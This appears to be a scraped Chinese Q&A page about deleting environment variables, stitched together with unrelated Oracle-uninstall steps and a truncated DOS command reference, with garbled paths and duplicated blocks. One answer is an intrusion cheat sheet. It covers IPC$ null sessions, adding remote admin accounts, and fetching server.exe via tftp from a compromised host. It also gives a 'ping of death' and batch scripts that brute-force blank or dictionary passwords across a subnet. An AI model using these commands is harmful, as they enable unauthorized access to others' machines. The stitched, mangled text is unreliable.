如何删除python环境变量

删除环境变量 unset unset my_variable 在涉及环境变量名时，什么时候该使用 ，实在让人摸不着头脑。 记住一点就行了：如果要用到变量，使用 。这条规则的一个例外就是使用printenv显示某个变量的值。 在处理全局环境变量时，事情就有点棘手了。如果你是在子进程中删除了一个全局环境变量，这只对子进程有效。该全局环境变量在父进程中依然可用。

1、在我的电脑图标中右键属性调出系统属性窗口2、在系统属性窗口中找到高级选择卡3、在高级选项卡中找到环境变量按扭并单击打开4、在弹出的环境变量窗口中，在系统变量(S)下的框框中找到并单击选择Path变量名，然后点编辑(N)按扭5、选择变量名为Path的编辑之后，会弹出编辑窗口6、将变量值复制出来然后修改为：%SystemRoot%system32;%SystemRoot%;%SystemRoot%System32Wbem在粘贴会变量值文本框中7、点击确定按钮，关闭属性窗口即可

win7系统怎么删除环境变量右击“我的电脑”，选择“属性”　　在打开的页面“控制面板主页”下找到并打开“高级系统配置”。点击“高级系统配置”，打开“系统属性”窗口。　　在“系统属性”页面点击“环境变量”　　建议修改系统变量而不是某个 用户独有的环境变量。　　在系统变量显示框中找到变量“Path"，选中并点击"编辑"进行修改。　　在弹出的编辑系统变量页面，修改变量值。将要执行命令所在的目录绝对路径加到原来的路径之后，路径与路径通过”；“分号分隔　　编辑完变量值之后点击"确定"按钮，完成环境变量的修改　　注意事项　　环境变量修改后，可能没有立即生效。这时候命令行窗口重启下即可。

在Python中更改环境变量可以使用`os.environ`模块。可以使用以下代码将环境变量设置为指定值：```pythonimport osos.environ["MY_ENV_VAR"] = "my_value"```此代码将名为`MY_ENV_VAR`的环境变量设置为`my_value`。如果环境变量不存在，则会创建该变量。如果要删除环境变量，可以使用以下代码：```pythonimport osif "MY_ENV_VAR" in os.environ: del os.environ["MY_ENV_VAR"]```此代码将检查是否存在名为`MY_ENV_VAR`的环境变量，如果存在，则将其删除。请注意，这只会在当前进程中删除环境变量，而不会影响其他进程或持久存储。

CMD中运行 set path==%path%;d:/mypath 用 set path可以查看，当前的环境变量 方法二 ：批处理中，修改环境变量，永久有效 ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" 另外介绍些关于wminc的用法（简单又实用） ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete 一般来说,wmic创建或修改的系统变量不用重启windows生效,但如果你发现在DOS窗下检测不生效的话,你试着关闭 DOS窗,再检测一次.就生效了. 如果你的批处理想不关闭而直接让新的变量给下级程序应用可以这样写 view plaincopy to clipboardprint? ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe

set 变量名=等号后不加任何东西这样就可以删了

请给出实例使用unset命令,例如要清除path变量,可以如下:unsetpath。如果你还有什么不懂的就去看看《linux就该这么学》这本书

Linux设置/删除环境变量方法：bash下设置：export 变量名=变量值删除：unset 变量名csh下设置：setenv 变量名 变量值删除：unsetenv 变量名

set test=这样输入就可以了

oracle10g 卸载 　　软件环境：　　1、Windows XP + Oracle 10g　　2、Oracle安装路径为：d:Oracle　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；　　2、开始－＞程序－＞Oracle – OraDb10g_home1＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品，但Universal Installer本身不能被删除；　　3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；　　4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；　　5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；　　6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；　　7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；　　8、删除c:Program FilesOracle目录；　　9、重新启动计算机，重起后才能完全删除Oracle所在目录 ；　　10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从Windows XP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、 oraodbc.ini等等；　　11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；　　12、如有必要，删除所有Oracle相关的ODBC的DSN；　　13、到事件查看器中，删除Oracle相关的日志 说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

删除这一部分即可D:appAdministratorproduct11.2.0dbhome_1in;

1.关闭oracle所有的服务。可以在windows的服务管理器中关闭；x0dx0ax0dx0a 2.打开注册表：regedit 打开路径：x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices x0dx0a 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！x0dx0a x0dx0a 3.打开注册表，找到路径：x0dx0a HKEY_LOCAL_MACHINESOFTWAREORACLEx0dx0a 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。x0dx0a x0dx0a 4.删除注册的oracle事件日志，打开注册表x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplicationx0dx0a 删除注册表的以oracle开头的所有项目。x0dx0a x0dx0a 5.删除环境变量path中关于oracle的内容。x0dx0a 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。x0dx0a 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。x0dx0a 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。x0dx0a x0dx0a 6.重新启动操作系统。x0dx0a 以上1~5个步骤操作完毕后，重新启动操作系统。x0dx0a x0dx0a 7.重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）x0dx0a x0dx0a 8.删除C:Program Files下oracle目录。x0dx0a （该目录视Oracle安装所在路径而定）x0dx0a x0dx0a 9.删除开始菜单下oracle项，如：x0dx0a C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10gx0dx0a 不同的安装这个目录稍有不同。x0dx0a 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。x0dx0a x0dx0a 至此，Windows平台下Oracle就彻底卸载了。

直接删除，就可以了。

我的操作是这样的，仅供参考。比如环境变量 serverip，我输入错误为setverip解答：setenv setverip=none 即可删除。或者你uboot下输入命令：help 查看是否有删除环境变量的指令。

你好！如果是打开命令符设置的，这个是临时的，你只要关闭命令符窗口你所设置的变量会自动删除如果对你有帮助，望采纳。

set 变量名=等号后不加任何东西这样就可以删了

按变量的生存周期来划分，Linux变量可分为两类，它们的修改方法如下：（1）永久的：需要修改配置文件，变量永久生效。常见的配置文件包括：（1-1）/etc/profile：对所有用户生效；此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行；并从/etc/profile.d目录的配置文件中搜集shell的设置例如：编辑/etc/profile文件，添加CLASSPATH变量# vi /etc/profile添加一行：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-2）/etc/bashrc：对所有用户生效；为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取编辑方法如上，不再赘述（1-3）~/.bash_profile：仅会对当前用户有效；每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次例如：编辑guok用户目录(/home/guok)下的.bash_profile$ vi /home/guok/.bash.profile添加如下内容：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-4）~/.bashrc：仅会对当前用户有效；该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取编辑方法如上，不再赘述另外，~/.bashrc等中设定的变量(局部)只能继承/etc/profile中的变量,他们是"父子"关系综述，对上述文件修改，添加你需要的变量，在启动一个shell（终端，terminal）时，你所定义的变量均会生效的。（2）临时的：使用export命令声明即可，变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,在关闭shell后失效，再打开新shell时就没有这个变量，需要使用的话还需要重新定义在shell的命令行下直接使用[export 变量名=变量值] 定义变量环境变量的查看（1）使用echo命令查看单个环境变量。例如：echo $PATH（2）使用env查看所有环境变量。例如：env（3）使用set查看所有本地定义的环境变量。例如：set另外，unset可以删除指定的环境变量。常用的环境变量PATH 决定了shell将到哪些目录中寻找命令或程序HOME 当前用户主目录HISTSIZE　历史记录数LOGNAME 当前用户的登录名HOSTNAME　指主机的名称SHELL 当前用户Shell类型LANGUGE 　语言相关的环境变量，多语言可以修改此环境变量MAIL　当前用户的邮件存放目录PS1　基本提示符，对于root用户是#，对于普通用户是$

如何删除oracle的环境变量删除这一部分即可 D:appAdministratorproduct11.2.0dbhome_1in;

在“运行”中输入CMD，调出DOSnet use $">\ipipc$ " " /user:" " 建立IPC空链接net use $">\ipipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: $">\ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:net use h: $">\ipc$ 登陆后映射对方C：到本地为H:net use $">\ipipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名 密码 /add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名 查看帐户的属性net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start 查看开启了哪些服务net start 服务名 开启服务；(如:net start telnet， net start schedule)net stop 服务名 停止某服务net time \目标ip 查看对方时间net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view \ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名 暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码 更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令at id号 开启已注册的某个计划任务at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止at id号 /delete 停止某个已注册的计划任务at 查看所有的计划任务at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机finger username @host 查看最近有哪些用户登陆telnet ip 端口 远和登陆服务器,默认端口为23open ip 连接到IP（属telnet登陆后的命令）telnet 在本机上直接键入telnet 将进入本机的telnetcopy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件copy c:srv.exe $">\ipadmin$ 复制本地c:srv.exe到对方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件copy $svv.exe">\ipadmin$svv.exe c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interfacearp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令mem 查看cpu使用情况attrib 文件名(目录名) 查看某文件（目录）的属性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间set 指定环境变量名称=要指派给变量的字符 设置环境变量set 显示当前所有的环境变量set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量pause 暂停批处理程序，并显示出：请按任意键继续....if 在批处理程序中执行条件处理（更多说明见if命令及变量）goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置echo 信息 在屏幕上显示出信息echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hellofind 文件名 查找某文件title 标题名字 更改CMD窗口标题名字color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )print 文件名 打印文本文件ver 在DOS窗口下显示版本信息winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFSmd 目录名 创建目录replace 源文件 要替换文件的目录 替换文件ren 原文件名 新文件名 重命名文件名tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称type 文件名 显示文本文件的内容more 文件名 逐屏显示输出文件doskey 要锁定的命令＝字符doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=taskmgr 调出任务管理器chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exepath 路径可执行文件的文件名 为可执行文件设置一个路径。cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；regedit /e 注册表文件名 导出注册表cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。cacls 文件名 查看文件的访问用户权限列表REM 文本内容 在批处理文件中添加注解netsh 查看或更改本地网络配置情况IIS服务命令：iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）iisreset /start或stop 启动（停止）所有Internet服务iisreset /restart 停止然后重新启动所有Internet服务iisreset /status 显示所有Internet服务状态iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。FTP 命令： (后面有详细说明内容)ftp的命令行格式为:ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。－d 使用调试方式。－n 限制ftp的自动登录,即不使用.netrc文件。－g 取消全局文件名。help [命令] 或 ？[命令] 查看命令说明bye 或 quit 终止主机FTP进程,并退出FTP管理方式.pwd 列出当前远端主机目录put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中mget [remote-files] 从远端主机接收一批文件至本地主机mput local-files 将本地主机中一批文件传送至远端主机dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件ascii 设定以ASCII方式传送文件(缺省值)bin 或 image 设定以二进制方式传送文件bell 每完成一次文件传送,报警提示cdup 返回上一级目录close 中断与远程服务器的ftp会话(与open对应)open host[port] 建立指定ftp服务器连接,可指定连接端口delete 删除远端主机中的文件mdelete [remote-files] 删除一批文件mkdir directory-name 在远端主机中建立目录rename [from] [to] 改变远端主机中的文件名rmdir directory-name 删除远端主机中的目录status 显示当前FTP的状态system 显示远端主机系统类型user user-name [password] [account] 重新以别的用户名登录远端主机open host [port] 重新建立一个新的连接prompt 交互提示模式macdef 定义宏命令lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录chmod 改变远端主机的文件权限case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母cd remote－dir 进入远程主机目录cdup 进入远程主机目录的父目录! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zipMYSQL 命令：mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。（例：mysql -h110.110.110.110 -Uroot -P123456注:u与root可以不用加空格，其它也一样）exit 退出MYSQLmysqladmin -u用户名 -p旧密码 password 新密码 修改密码grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。use mysql；show tables; 显示库中的数据表describe 表名; 显示数据表的结构create database 库名; 建库use 库名；create table 表名 (字段设定列表)； 建表drop database 库名;drop table 表名； 删库和删表delete from 表名; 将表中记录清空select * from 表名; 显示表中的记录mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\mysql\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb 是一个文本文件，文件名任取，打开看看你会有新发现。win2003系统下新增命令（实用部份）：shutdown /参数 关闭或重启本地或远程主机。参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。例：shutdown /r /t 0 立即重启本地主机（无延时）taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。Linux系统下基本命令： 要区分大小写uname 显示版本信息（同win2K的 ver）dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）pwd 查询当前所在的目录位置cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。cat 文件名 查看文件内容cat >abc.txt 往abc.txt文件中写上内容。more 文件名 以一页一页的方式显示一个文本文件。cp 复制文件mv 移动文件rm 文件名 删除文件，rm -a 目录名删除目录及子目录mkdir 目录名 建立目录rmdir 删除子目录，目录内没有文档。chmod 设定档案或目录的存取权限grep 在档案中查找字符串diff 档案文件比较find 档案搜寻date 现在的日期、时间who 查询目前和你使用同一台机器的人以及Login时间地点w 查询目前上机者的详细资料whoami 查看自己的帐号名称groups 查看某人的Grouppasswd 更改密码history 查看自己下过的命令ps 显示进程状态kill 停止某进程gcc 黑客通常用它来编译C语言写的文件su 权限转换为指定使用者telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。ftp ftp连接上某服务器（同win2K）附：批处理命令与变量1：for命令及变量 基本格式：FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—% 9指输入的第2-9个值；例：net use $">\ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3(set):指定一个或一组文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开command_parameters：为特定命令指定参数或命令行开关IN (set)：指在(set)中取值；DO command ：指执行command参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:pass.txt)时}。用法举例：@echo offecho 用法格式：test.bat *.*.* > test.txtfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。@echo offecho 用法格式：ok.bat ipFOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200存为：ok.exe 说明：输入一个IP后，用字典文件d:pass.dic来暴解d:user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。

重新下载一个oracle

DOS命令大全一）MD——建立子目录 1．功能：创建新的子目录 2．类型：内部命令 3．格式：MD[盘符：][路径名]〈子目录名〉 4．使用说明： （1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器； （2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。 例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。 C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX） C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录） （二）CD——改变当前目录 1．功能：显示当前目录 2．类型：内部命令 3．格式：CD[盘符：][路径名][子目录名] 4．使用说明： （1）如果省略路径和子目录名则显示当前目录； （2）如采用“CD、”格式，则退回到根目录； （3）如采用“CD.。”格式则退回到上一级目录。 例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。 C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录） C:、FOX、USER＞CD.。 （退回上一级根目录） C：、FOX＞CD、 （返回到根目录） C：、＞ （三）RD——删除子目录命令 1．功能：从指定的磁盘删除了目录。 2．类型：内部命令 3．格式：RD[盘符：][路径名][子目录名] 4．使用说明： （1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该了目录本身； （2）不能删除根目录和当前目录。 例：要求把C盘FOX子目录下的USER子目录删除，操作如下： 第一步：先将USER子目录下的文件删空； C、＞DEL C：、FOX、USER、*。* 第二步，删除USER子目录。 C、＞RD C：、FOX、USER （四）DIR——显示磁盘目录命令 1．功能：显示磁盘目录的内容。 2．类型：内部命令 3．格式：DIR [盘符][路径][/P][/W] 4．使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示；Pressany key to continue /W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。加上参数后，每行可以显示五个文件名。 PATH——路径设置命令 1．功能：设备可执行文件的搜索路径，只对文件有效。 2．类型：内部命令 3．格式：PATH[盘符1]目录[路径名1]{[；盘符2：]，〈目录路径名2〉…} 4．使用说明： （1）当运行一个可执行文件时，DOS会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件； （2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开； （3）PATH命令有三种使用方法： PATH[盘符1：][路径1][盘符2：][路径2]…（设定可执行文件的搜索路径） PATH：（取消所有路径） PATH：（显示目前所设的路径） （六）TREE——显示磁盘目录结构命令 1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。 2．类型：外部命令 3．格式：TREE[盘符：][/F][》PRN] 4．使用说明： （1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件； （2）选用＞PRN参数时，则把所列目录及目录中的文件名打印输出。 （七）DELTREE——删除整个目录命令 1．功能：将整个目录及其下属子目录和文件删除。 2．类型：外部命令 3．格式：DELTREE[盘符：]〈路径名〉 4．使用说明：该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除，而且不管文件的属性为隐藏、系统或只读，只要该文件位于删除的目录之下，DELTREE都一视同仁，照删不误。使用时务必小心！！！ 五、磁盘操作类命令 （一）formAT——磁盘格式化命令 1．功能：对磁盘进行格式化，划分磁道和扇区；同时检查出整个磁盘上有无带缺陷的磁道，对坏道加注标记；建立目录区和文件分配表，使磁盘作好接收DOS的准备。 2．类型：外部命令 3．格式：formAT〈盘符：〉[/S][/4][/Q] 4．使用说明： （1）命令后的盘符不可缺省，若对硬盘进行格式化，则会如下列提示：WARNING:ALL DATA ON NON——REMOVABLE DISK DRIVE C:WILL BE LOST ！ Proceed with format (Y/N)？ （警告：所有数据在C盘上，将会丢失，确实要继续格式化吗？） （2）若是对软盘进行格式化，则会如下提示：Insert mew diskette for drive A; and press ENTER when ready… （在A驱中插入新盘，准备好后按回车键）。 （3）选用[/S]参数，将把DOS系统文件IO.SYS、MSDOS.SYS及COMMAND.COM复制到磁盘上，使该磁盘可以做为DOS启动盘。若不选用/S参数，则格式化后的磙盘只能读写信息，而不能做为启动盘； （4）选用[/4]参数，在1.2MB的高密度软驱中格式化360KB的低密度盘； 